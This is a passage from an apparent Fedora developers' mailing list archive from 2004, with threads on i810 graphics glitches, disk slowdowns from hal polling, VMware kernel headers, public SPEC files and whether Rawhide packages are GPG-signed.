an elderly box with i810 graphics and the desktop > is seriously broken - nothing redraws correctly, the background shows > through xterms, resizing makes windows disappear etc. Thought it might > be gnome/metacity gone insane, but KDE is just as a bad, so it looks > like it has to be X. Upgrading to rawhide didn't change anything. > > Is anyone else seeing this? > > Dave > Yep! There seems to be either an acceleration problem or kernel problem with the i810 driver for 815 chipsets and maybe others. The below bug report talks about options that must be placed in xorg.conf in order to mask the fouled up driver for our card types. FC4 was pushed as a solution. Anyway, the problem lies within xorg-x11 and changes made for the current version that destroy the 815 chipset graphics quality. https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=132267 Jim -- Fourth Law of Applied Terror: The night before the English History mid-term, your Biology instructor will assign 200 pages on planaria. Corollary: Every instructor assumes that you have nothing else to do except study for that instructor's course. From alan at redhat.com Fri Nov 5 00:18:04 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 19:18:04 -0500 Subject: gam_server In-Reply-To: <20041104180714.GT8955@redhat.com> References: <200411040807.51853.psavoie1783@rogers.com> <20041104131958.GA17037@devserv.devel.redhat.com> <1099578327.4069.21.camel@hostmaster.org> <20041104180714.GT8955@redhat.com> Message-ID: <20041105001804.GA11079@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 01:07:14PM -0500, Daniel Veillard wrote: > for some reason the tree representation a loop for some users after some > random time. Why, how, I still didn't found... The code should not be racy > but it seems something breaks that expectation :-( mount --bind will certainly create infinitely deep directory trees, but surely you are doing loop detection for this, for NFS and the like ? From alan at redhat.com Fri Nov 5 00:20:58 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 19:20:58 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099593660.4511.13.camel@sp-laptop.us.scali.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> Message-ID: <20041105002058.GC11079@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 01:40:59PM -0500, Steffen Persvold wrote: > I noticed it when trying to start applications such as Evolution, > FireFox, OpenOffice etc. but then I started testing it with hdparm -t : Can you file a bug on that and include the identify data for the drives. My guess would be haldaemon is polling the drives and that would muck up the performance in some cases. However it shouldnt be polling too often From alan at redhat.com Fri Nov 5 00:25:35 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 19:25:35 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099594263.16640.19.camel@laptop.fenrus.org> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594263.16640.19.camel@laptop.fenrus.org> Message-ID: <20041105002535.GE11079@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 07:51:04PM +0100, Arjan van de Ven wrote: > > # hdparm -t /dev/hda > don't use hdparm! > > it's very unreliable for measuring performance; please use something > like tiobench (tiobench.sf.net) Its not that unreliable for measuring streaming I/O. Those numbers match other reports I've seen from the old magicdev crap when there was a cdrom as the slave and it polled From sp at scali.com Fri Nov 5 00:25:42 2004 From: sp at scali.com (Steffen Persvold) Date: Thu, 04 Nov 2004 19:25:42 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <20041105002058.GC11079@devserv.devel.redhat.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <20041105002058.GC11079@devserv.devel.redhat.com> Message-ID: <1099614342.3472.26.camel@sp-laptop.us.scali.com> On Thu, 2004-11-04 at 19:20 -0500, Alan Cox wrote: > On Thu, Nov 04, 2004 at 01:40:59PM -0500, Steffen Persvold wrote: > > I noticed it when trying to start applications such as Evolution, > > FireFox, OpenOffice etc. but then I started testing it with hdparm -t : > > Can you file a bug on that and include the identify data for the drives. My > guess would be haldaemon is polling the drives and that would muck up the > performance in some cases. However it shouldnt be polling too often > Alan, I'd be happy to. I will also include /proc/ide/piix output. Regards, Steffen From greg at gulik.org Fri Nov 5 00:26:34 2004 From: greg at gulik.org (Gregory Gulik) Date: Thu, 04 Nov 2004 18:26:34 -0600 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <20041105002058.GC11079@devserv.devel.redhat.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <20041105002058.GC11079@devserv.devel.redhat.com> Message-ID: <418AC8BA.7050209@gulik.org> I'm having the same problem so please E-mail me the bug ID and I'll add my drive info to your bug report. Alan Cox wrote: > On Thu, Nov 04, 2004 at 01:40:59PM -0500, Steffen Persvold wrote: > >>I noticed it when trying to start applications such as Evolution, >>FireFox, OpenOffice etc. but then I started testing it with hdparm -t : > > > Can you file a bug on that and include the identify data for the drives. My > guess would be haldaemon is polling the drives and that would muck up the > performance in some cases. However it shouldnt be polling too often > -- Greg Gulik http://www.gulik.org/greg/ greg @ gulik.org From alan at redhat.com Fri Nov 5 00:27:28 2004 From: alan at redhat.com (Alan Cox) Date: Thu, 4 Nov 2004 19:27:28 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099594788.12307.16.camel@davidz> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> Message-ID: <20041105002728.GF11079@devserv.devel.redhat.com> On Thu, Nov 04, 2004 at 01:59:48PM -0500, David Zeuthen wrote: > Basically hal does this (every two seconds) > > open("/dev/hdc", O_RDONLY|O_NONBLOCK|O_EXCL|O_LARGEFILE) = 0 > ioctl(0, CDROM_DRIVE_STATUS, 0x7fffffff) = 1 > close(0) > > Can some kernel person comment on why this is killing performance on > the /dev/hda harddrive when the optical drive at /dev/hdb is polled? Because /dev/hdb is powersaved. Every time you poll it the laptop powers up the drive (costly on power/time), polls the TOC, replies and a second or so later powers back down. During the power up, poll TOC sequence it locks the bus so your IDE bus spends 1.5 of every 2 seconds jammed by the drive. We have some bug reports for this from magicdev too. From sp at scali.com Fri Nov 5 00:34:51 2004 From: sp at scali.com (Steffen Persvold) Date: Thu, 04 Nov 2004 19:34:51 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <20041105002728.GF11079@devserv.devel.redhat.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <1099594788.12307.16.camel@davidz> <20041105002728.GF11079@devserv.devel.redhat.com> Message-ID: <1099614891.3472.29.camel@sp-laptop.us.scali.com> On Thu, 2004-11-04 at 19:27 -0500, Alan Cox wrote: > On Thu, Nov 04, 2004 at 01:59:48PM -0500, David Zeuthen wrote: > > Basically hal does this (every two seconds) > > > > open("/dev/hdc", O_RDONLY|O_NONBLOCK|O_EXCL|O_LARGEFILE) = 0 > > ioctl(0, CDROM_DRIVE_STATUS, 0x7fffffff) = 1 > > close(0) > > > > Can some kernel person comment on why this is killing performance on > > the /dev/hda harddrive when the optical drive at /dev/hdb is polled? > > Because /dev/hdb is powersaved. Every time you poll it the laptop powers up > the drive (costly on power/time), polls the TOC, replies and a second or so > later powers back down. During the power up, poll TOC sequence it locks the > bus so your IDE bus spends 1.5 of every 2 seconds jammed by the drive. > > We have some bug reports for this from magicdev too. > So is it even worth filing a new bug report on this then ? Is there any way to fix this in software (kernel) ? Regards, Steffen From sp at scali.com Fri Nov 5 00:53:40 2004 From: sp at scali.com (Steffen Persvold) Date: Thu, 04 Nov 2004 19:53:40 -0500 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <418AC8BA.7050209@gulik.org> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <20041105002058.GC11079@devserv.devel.redhat.com> <418AC8BA.7050209@gulik.org> Message-ID: <1099616020.4048.0.camel@sp-laptop.us.scali.com> On Thu, 2004-11-04 at 18:26 -0600, Gregory Gulik wrote: > I'm having the same problem so please E-mail me the bug ID and I'll add > my drive info to your bug report. > It is now filed as Bug #138148 Regards, Steffen From greg at gulik.org Fri Nov 5 00:58:38 2004 From: greg at gulik.org (Gregory Gulik) Date: Thu, 04 Nov 2004 18:58:38 -0600 Subject: Poor disk drive performance with FC3 RC3 In-Reply-To: <1099616020.4048.0.camel@sp-laptop.us.scali.com> References: <1099593660.4511.13.camel@sp-laptop.us.scali.com> <20041105002058.GC11079@devserv.devel.redhat.com> <418AC8BA.7050209@gulik.org> <1099616020.4048.0.camel@sp-laptop.us.scali.com> Message-ID: <418AD03E.3010108@gulik.org> Thanks. I have the same problem on a Dell 8100. However performance is still VERY slow (compared to FC2) even with hald killed off. It's definitely disk since it runs fine once a program is loaded until it needs to access disk again where it slows down horribly. Steffen Persvold wrote: > On Thu, 2004-11-04 at 18:26 -0600, Gregory Gulik wrote: > >>I'm having the same problem so please E-mail me the bug ID and I'll add >>my drive info to your bug report. >> > > > It is now filed as Bug #138148 > > Regards, > Steffen > -- Greg Gulik http://www.gulik.org/greg/ greg @ gulik.org From brian at networklifeline.net Fri Nov 5 01:22:06 2004 From: brian at networklifeline.net (Brian Callahan) Date: Thu, 4 Nov 2004 18:22:06 -0700 Subject: kernel headers vmware Message-ID: <20041105012206.28759.qmail@webmail03.mesa1.secureserver.net> OK I know this has probably been asked a hundred times and I should be searching the archives but that would take me a while to get caught up with all these changes in FC3T3. I have been very used to doing things the old 2.4 way like kernel-source-- anyway I am trying to install VMware 4 on FC3T3 and it can't find the header files "What is the location of the directory of C header files that match your running kernel? [/usr/src/linux/include] /usr/src/linux The path "/usr/src/linux" is an existing directory, but it does not contain at least one of these directories "linux", "asm", "net" as expected." I am running 2.6.8-1.541 #1 Wed Sep 1 18:01:20 EDT 2004 i686 athlon i386 GNU/Linux I have built the kernel src src.rpm with rpmbuild -bp --target=i686 kernel-2.6.spec then I did a symlink /usr/src/linux > /usr/src/redhat/BUILD/kernel-2.6.8/linux-2.6.8/ Anyway what am I doing wrong -- do I still need the source to build vmware and NVidia drivers or is there a headers package ? Any help would be GREAT !! BC From veillard at redhat.com Fri Nov 5 01:53:41 2004 From: veillard at redhat.com (Daniel Veillard) Date: Thu, 4 Nov 2004 20:53:41 -0500 Subject: gam_server In-Reply-To: <20041105001804.GA11079@devserv.devel.redhat.com> References: <200411040807.51853.psavoie1783@rogers.com> <20041104131958.GA17037@devserv.devel.redhat.com> <1099578327.4069.21.camel@hostmaster.org> <20041104180714.GT8955@redhat.com> <20041105001804.GA11079@devserv.devel.redhat.com> Message-ID: <20041105015341.GA8955@redhat.com> On Thu, Nov 04, 2004 at 07:18:04PM -0500, Alan Cox wrote: > On Thu, Nov 04, 2004 at 01:07:14PM -0500, Daniel Veillard wrote: > > for some reason the tree representation a loop for some users after some > > random time. Why, how, I still didn't found... The code should not be racy > > but it seems something breaks that expectation :-( > > mount --bind will certainly create infinitely deep directory trees, but > surely you are doing loop detection for this, for NFS and the like ? Well we don't recurse in the tree, we have to check one level down each monitored directory but we don't implement recursive checking. I doubt it's cause of the problem people are seeing (normal desktop usage), but I write this down in the TODO to not forget those corner case, thanks ! Daniel -- Daniel Veillard | Red Hat Desktop team http://redhat.com/ veillard at redhat.com | libxml GNOME XML XSLT toolkit http://xmlsoft.org/ http://veillard.com/ | Rpmfind RPM search engine http://rpmfind.net/ From pri.rhl3 at iadonisi.to Fri Nov 5 02:31:43 2004 From: pri.rhl3 at iadonisi.to (Paul Iadonisi) Date: Thu, 04 Nov 2004 21:31:43 -0500 Subject: kernel headers vmware In-Reply-To: <20041105012206.28759.qmail@webmail03.mesa1.secureserver.net> References: <20041105012206.28759.qmail@webmail03.mesa1.secureserver.net> Message-ID: <1099621903.15330.31.camel@va.local.linuxlobbyist.org> On Thu, 2004-11-04 at 20:22, Brian Callahan wrote: [snip] > I am trying to install VMware 4 on FC3T3 and it can't find the header > files VMware 4.5.2? > "What is the location of the directory of C header files that match your > running > kernel? [/usr/src/linux/include] /usr/src/linux > The path "/usr/src/linux" is an existing directory, but it does not > contain at > least one of these directories "linux", "asm", "net" as expected." > > I am running 2.6.8-1.541 #1 Wed Sep 1 18:01:20 EDT 2004 i686 athlon i386 > GNU/Linux You shouldn't need to do any of what you've listed below. I'm not sure about FC3T3, but on FC3RC5 (kernel 2.6.9-1.667), when I run vmware-config.pl, the path that it defaults to is /lib/modules/2.6.9-1.667/build/include and everything builds fine. When all is done, vmware launches just fine, as well, but I haven't tried actually installing and/or running a guest OS in it yet. > I have built the kernel src src.rpm with rpmbuild -bp --target=i686 > kernel-2.6.spec > > then I did a symlink /usr/src/linux > > /usr/src/redhat/BUILD/kernel-2.6.8/linux-2.6.8/ > > > Anyway what am I doing wrong -- do I still need the source to build > vmware and NVidia drivers or is there a headers package ? > > Any help would be GREAT !! I'd suggest updating to FC3RC5 (or just do a yum update) and make sure there's no /usr/src/linux* directories. Then maybe vmware-config.pl will find the right place to look for the needed kernel headers. Barring that, just try plugging in /lib/modules/2.6.8-1.541/build/include when it asks for where your headers are. I've also noted in http://platan.vc.cvut.cz/ftp/pub/vmware/readme.txt that one of the updates is udev support for vmnet, so you may want to grab vmware-any-any-update84.tar.gz from there and apply it, too. -- -Paul Iadonisi Senior System Administrator Red Hat Certified Engineer / Local Linux Lobbyist Ever see a penguin fly? -- Try Linux. GPL all the way: Sell services, don't lease secrets From dag at wieers.com Fri Nov 5 02:52:13 2004 From: dag at wieers.com (Dag Wieers) Date: Fri, 5 Nov 2004 03:52:13 +0100 (CET) Subject: Public SPEC files please Message-ID: Hi, Since I don't know who to address this to, let's address this to all :) I guess it's time again to ask/beg for making those SPEC files public. All of them if possible: Fedora, Raw Hide, RHEL, fedora.us, livna.org. If you want people making compatible packages, find problems or doing general QA, having those SPEC files available instead of SRPMs is crucial. I don't want to go download another 5MB to have a 5kB file and see 5 bytes changed. Also a mailinglist that holds either the CVS commits or daily diffs of these files would be very (*VERY*) appreciated, although if these SPEC files are available I can do that myself easily. So Red Hat, are we ready for that ? Or shall I wait another year ? PS Some of it could even be "legally" required in the sense that eg. fedora.us started its amavisd-new package from my SPEC file and I can't even peek to see what exactly they have changed. Bugzilla has some broken links, but there it ends. No SRPM, no SPEC file, no clue :) -- dag wieers, dag at wieers.com, http://dag.wieers.com/ -- [Any errors in spelling, tact or fact are transmission errors] From P.R.Schaffner at IEEE.org Fri Nov 5 03:30:20 2004 From: P.R.Schaffner at IEEE.org (Phil Schaffner) Date: Thu, 04 Nov 2004 22:30:20 -0500 Subject: kernel headers vmware In-Reply-To: <1099621903.15330.31.camel@va.local.linuxlobbyist.org> References: <20041105012206.28759.qmail@webmail03.mesa1.secureserver.net> <1099621903.15330.31.camel@va.local.linuxlobbyist.org> Message-ID: <1099625420.3999.26.camel@tabb1.tabb> On Thu, 2004-11-04 at 21:31 -0500, Paul Iadonisi wrote: > On Thu, 2004-11-04 at 20:22, Brian Callahan wrote: > > [snip] > > You shouldn't need to do any of what you've listed below. I'm not > sure about FC3T3, but on FC3RC5 (kernel 2.6.9-1.667), when I run > vmware-config.pl, the path that it defaults to is > /lib/modules/2.6.9-1.667/build/include and everything builds fine. When > all is done, vmware launches just fine, as well, but I haven't tried > actually installing and/or running a guest OS in it yet. Have used VMware 4.5.2 on FC3T1->FC3rc5 without kernel source installed, but with vmware-any-any-update73. Did see the kind of behavior described with not finding headers in /lib/modules... on earlier versions of VMware/Fedora - fixed by installing kernel sources, but that no longer seems necessary. [snip] > > I'd suggest updating to FC3RC5 (or just do a yum update) and make sure > there's no /usr/src/linux* directories. Then maybe vmware-config.pl > will find the right place to look for the needed kernel headers. > Barring that, just try plugging in > /lib/modules/2.6.8-1.541/build/include when it asks for where your > headers are. > I've also noted in http://platan.vc.cvut.cz/ftp/pub/vmware/readme.txt > that one of the updates is udev support for vmnet, so you may want to > grab vmware-any-any-update84.tar.gz from there and apply it, too. Cool - with an earlier vmware-any-any-update version and udev had to do "cp -a /dev/vm* /etc/udev/devices/" to keep from having to re-run vmware-config.pl after every reboot. Should have checked for an update. Thanks, Phil From florin at andrei.myip.org Fri Nov 5 04:47:20 2004 From: florin at andrei.myip.org (Florin Andrei) Date: Thu, 04 Nov 2004 20:47:20 -0800 Subject: Public SPEC files please In-Reply-To: References: Message-ID: <1099630039.2559.10.camel@rivendell.home.local> On Thu, 2004-11-04 at 18:52, Dag Wieers wrote: > I guess it's time again to ask/beg for making those SPEC files public. All > of them if possible: Fedora, Raw Hide, RHEL, fedora.us, livna.org. I subscribe to that. All package makers, including the Linux distributions themselves, should publish the spec files. True, downloading a src.rpm should provide the same information, but sometimes that's not doable, for technical reasons or otherwise. I maintained various packages in the past, and i always made a point of publishing the specs. It's in the spirit of GPL, even though it may be excessive to the letter of it (although IANAL so you never know). -- Florin Andrei http://florin.myip.org/ From nutello at sweetness.com Fri Nov 5 04:57:35 2004 From: nutello at sweetness.com (Rudi Chiarito) Date: Fri, 5 Nov 2004 05:57:35 +0100 Subject: Public SPEC files please In-Reply-To: References: Message-ID: <20041105045735.GC10902@server4.8080.it> On Fri, Nov 05, 2004 at 03:52:13AM +0100, Dag Wieers wrote: > If you want people making compatible packages, find problems or doing > general QA, having those SPEC files available instead of SRPMs is crucial. > I don't want to go download another 5MB to have a 5kB file and see 5 bytes > changed. Another vote from here. Even with a fast connection, you still need to get the .spec file manually out of the SRPM, which is quite a nuisance. I might not care too much about my own bandwidth, but it's in everybody's interest to save d.f.r.com's or the mirrors'. Another common possible use for a .spec file that you haven't explicitly mentioned is looking at a package's RPM changelog. Googling for stuff, downloading the SRPM or the RPM and dropping into a shell to check the changelog can get a bit tedious, especially when done on a number of packages. -- Rudi From skvidal at phy.duke.edu Fri Nov 5 05:41:56 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 05 Nov 2004 00:41:56 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: <1099607125.4065.81.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> Message-ID: <1099633316.8125.47.camel@binkley> On Thu, 2004-11-04 at 17:25 -0500, Peter Jones wrote: > On Thu, 2004-11-04 at 15:02 -0600, Satish Balay wrote: > > On Thu, 4 Nov 2004, Peter Jones wrote: > > > > > Signing something with the Red Hat key and signing something with the > > > Rawhide key are currently _the same thing_, and no amount of telling > > > people that it's not is going to change that. > > > > (I didn't want to get sucked into this again - but couldn't > > resist.. this tread never dies). > > > > I hope you can give pointed answers to these 2 questions. > > > > 1. If 'Red Hat key' == 'Rawhide key' - why do you have both? > > I think it's horribly ill-conceived that we have both. That is, we have > both because people have fallen into this mistake. > > > 2. How does packages signed by 'at-rpms-key' fit in your grad model > > where all keys are the same - and users don't know how to distinguish > > them. > > Both models have the keys being the same. One has people refusing to > acknowledge this. > > The current model is that they're all the same. Look at our tools; look > at yum and up2date. They don't know anything about which key is which, > just which key you've said you trust (not even what you trust it for, or > how much). The only real difference, and certainly the only one in the > minds of the vast majority of our users, is that one comes in rpm's key > list by default and one does not. An RFE for yum has been to provide a list of gpg keyids that are valid per-repository. So then the gpgcheck process would be: 1. check if the sig exists 2. check if the sig is valid 3. if both are true, check to see if the keyid matches on the allowed keyid for packages from that repo. I've written the code to do the keyid return as an alternative type of check. I've just not bolted it into the config parsing in yum. I was hovering around the idea a bit b/c I'm concerned of the impact of carrying this feature along forever. This, obviously, begins setting up the infrastructure to allow a user to add their own value to specific keys. Thoughts? -sv From balay at fastmail.fm Fri Nov 5 06:34:32 2004 From: balay at fastmail.fm (Satish Balay) Date: Fri, 5 Nov 2004 00:34:32 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099607125.4065.81.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> Message-ID: On Thu, 4 Nov 2004, Peter Jones wrote: > My model is that the signature is more than just a gpg signature. > Conceptually, it's a signature on a certificate with data that specifies > exactly which ways the package may be trusted. One could actually > implement it that way, which I think we should, but it's some > significant effort. Yeah - but we don't have that right now. The thing we are debating is - why signing 'rawhide' with gpg key is wrong. > > The specific proposal here was that when you *don't* mean the things > that people infer from a signed package, don't sign the package. You mean Axel, Dag should't sign the packages they distribute. (because that would imply its equally trustworthy as redhat-certified) And according to your model - If I were to distribure signed/unsigned packages - the expection for unsigned is different(can eat data) - but signed is different (extremely stable) The question is: How does your user know that the pacakge I distribured is signed with a gpg-key? Satish From balay at fastmail.fm Fri Nov 5 06:43:22 2004 From: balay at fastmail.fm (Satish Balay) Date: Fri, 5 Nov 2004 00:43:22 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099606323.4065.66.camel@localhost.localdomain> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <41823E17.5@gats-inc.com> <1409.12.29.16.103.1099055899.squirrel@whooper.org> <1099057007.4019.85.camel@gibraltar.stuttgart.redhat.com> <604aa79104102907087f7f4d02@mail.gmail.com> <1099330554.25045.81.camel@localhost.localdomain> <1099338407.25045.116.camel@localhost.localdomain> <1099349930.25045.130.camel@localhost.localdomain> <1099353011.25045.143.camel@localhost.localdomain> <1099564380.6145.42.camel@gibraltar.stuttgart.redhat.com> <1099606323.4065.66.camel@localhost.localdomain> Message-ID: On Thu, 4 Nov 2004, Peter Jones wrote: > On Thu, 2004-11-04 at 11:33 +0100, Nils Philippsen wrote: > > On Mon, 2004-11-01 at 18:50 -0500, Peter Jones wrote: > > > On Mon, 2004-11-01 at 17:34 -0600, Satish Balay wrote: > > > > Ok - you & Seth seem to have a solution to the problem. > > > > > > > > Still no good explanation why ALL keys should be treated the same. > > > > > > Because there's nothing about a key that tells you how to treat it. > > > > Exactly. There's where "common sense" comes into play, i.e. I shouldn't > > enable Rawhide repositories if a broken system makes me cry. > > We're not just talking about rawhide. We're talking about Axil's repo, > and Matthais's repo, and the cdparanoia repo on my people.redhat.com > site, and the repo on Seth's website. > > There is no common sense answer to "I have 40 keys signing things and > none of them specify what the signature means". > > Quit thinking that we're talking about one key. We're talking about > many. These are arguments for 'a better key-management-policy' infrastructure. There is no argument here about keeping 'rawhide' unsigned. Satish From balay at fastmail.fm Fri Nov 5 06:59:30 2004 From: balay at fastmail.fm (Satish Balay) Date: Fri, 5 Nov 2004 00:59:30 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099633316.8125.47.camel@binkley> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> <1099633316.8125.47.camel@binkley> Message-ID: On Fri, 5 Nov 2004, seth vidal wrote: > > The current model is that they're all the same. Look at our tools; look > > at yum and up2date. They don't know anything about which key is which, > > just which key you've said you trust (not even what you trust it for, or > > how much). The only real difference, and certainly the only one in the > > minds of the vast majority of our users, is that one comes in rpm's key > > list by default and one does not. What in rpm's key list by default? I thought the user does an explicit 'rpm --import' > An RFE for yum has been to provide a list of gpg keyids that are valid > per-repository. > > So then the gpgcheck process would be: > > 1. check if the sig exists > 2. check if the sig is valid > 3. if both are true, check to see if the keyid matches on the allowed > keyid for packages from that repo. A couple of questions here. - What key is used for this purpose (to sign the metadata)? - Where does the user store this public key? - What prevents the clueless users from having the same expecation from a gpg-signed metada-repo as they have with gpg-signed packages? thanks, Satish From skvidal at phy.duke.edu Fri Nov 5 07:09:11 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 05 Nov 2004 02:09:11 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> <1099633316.8125.47.camel@binkley> Message-ID: <1099638551.9565.5.camel@binkley> > > An RFE for yum has been to provide a list of gpg keyids that are valid > > per-repository. > > > > So then the gpgcheck process would be: > > > > 1. check if the sig exists > > 2. check if the sig is valid > > 3. if both are true, check to see if the keyid matches on the allowed > > keyid for packages from that repo. > > A couple of questions here. > > - What key is used for this purpose (to sign the metadata)? > - Where does the user store this public key? > - What prevents the clueless users from having the same expecation from > a gpg-signed metada-repo as they have with gpg-signed packages? This is just based on keys in your rpmdb. The idea is this: if you have 3 repos available to yum. They are signed with 3 separate gpg keys. So you've imported all the keys into your rpmdb. The whole point of the feature I described before is so you can say: the only packages I want from this repository are signed with _this_ key. If you get a package from this repository that is signed with any other key, even if I have that key in my rpmdb, don't trust it. -sv From balay at fastmail.fm Fri Nov 5 07:28:21 2004 From: balay at fastmail.fm (Satish Balay) Date: Fri, 5 Nov 2004 01:28:21 -0600 (CST) Subject: Should Fedora rpms be signed? In-Reply-To: <1099638551.9565.5.camel@binkley> References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> <1099633316.8125.47.camel@binkley> <1099638551.9565.5.camel@binkley> Message-ID: On Fri, 5 Nov 2004, seth vidal wrote: > This is just based on keys in your rpmdb. > > The idea is this: > > if you have 3 repos available to yum. > > They are signed with 3 separate gpg keys. So you've imported all the > keys into your rpmdb. The whole point of the feature I described before > is so you can say: > > the only packages I want from this repository are signed with _this_ > key. If you get a package from this repository that is signed with any > other key, even if I have that key in my rpmdb, don't trust it. Ok - here you are saying EACH package is signed. And this pacakge signature is the one thats compared. The inferences I get from the above are: - all packages from all repos should be signed (ideally) - if an unsigned package is part of the dep-resolve list - then yum just aborts the transaction - (Obviously - the main feature) if the 'key' doesn't match the one seecified for this repo in yum.conf - the transaction is aborted. I do like this new feature. A couple of questions remain. - Where does sigining 'metadata' fit in here? - And this scheme would require rawhide pacakges also to be signed with some key. (or am I misreading this?) thanks, Satish From skvidal at phy.duke.edu Fri Nov 5 07:52:01 2004 From: skvidal at phy.duke.edu (seth vidal) Date: Fri, 05 Nov 2004 02:52:01 -0500 Subject: Should Fedora rpms be signed? In-Reply-To: References: <49796.195.34.133.68.1098782874.squirrel@195.34.133.68> <2983.12.29.16.103.1098793539.squirrel@whooper.org> <1098794047.11444.1.camel@localhost.localdomain> <2073.12.29.16.103.1098966545.squirrel@whooper.org> <26048.213.164.3.90.1098966862.squirrel@213.164.3.90> <1098981281.6109.28.camel@localhost.localdomain> <1099047474.4019.10.camel@gibraltar.stuttgart.redhat.com> <1099330047.25045.73.camel@localhost.localdomain> <1099562916.6145.24.camel@gibraltar.stuttgart.redhat.com> <1099600651.4065.41.camel@localhost.localdomain> <1099607125.4065.81.camel@localhost.localdomain> <1099633316.8125.47.camel@binkley> <1099638551.9565.5.camel@binkley> Message-ID: <1099641121.9565.8.camel@binkley> On Fri, 2004-11-05 at 01:28 -0600, Satish Balay wrote: > > On Fri, 5 Nov 2004, seth vidal wrote: > > > This is just based on keys in your rpmdb. > > > > The idea is this: > > > > if you have 3 repos available to yum. > > > > They are signed with 3 separate gpg keys. So you've imported all the > > keys into your rpmdb. The whole point of the feature I described before > > is so you can say: > > > > the only packages I want from this repository are signed with _this_ > > key. If you get a package from this repository that is signed with any > > other key, even if I have that key in my rpmdb, don't trust it. > > Ok - here you are saying EACH package is signed. And this pacakge > signature is the one thats compared. > > The inferences I get from the above are: > > - all packages from all repos should be signed (ideally) > - if an unsigned package is part of the dep-resolve list - then yum > just aborts the transaction > - (Obviously - the main feature) if the 'key' doesn't match the one > seecified for this repo in yum.conf - the transaction is aborted. > > I do like this new feature. A couple of questions remain. > > - Where does sigining 'metadata' fit in here? > > - And this scheme would require rawhide pacakges also to be signed > with some key. (or am I misreading this?) > let's be clear. I'm not proposing anything. I'm just describing an RFE I've gotten before and that I've written some of the code for. It in no way reflects what I think policy should be or 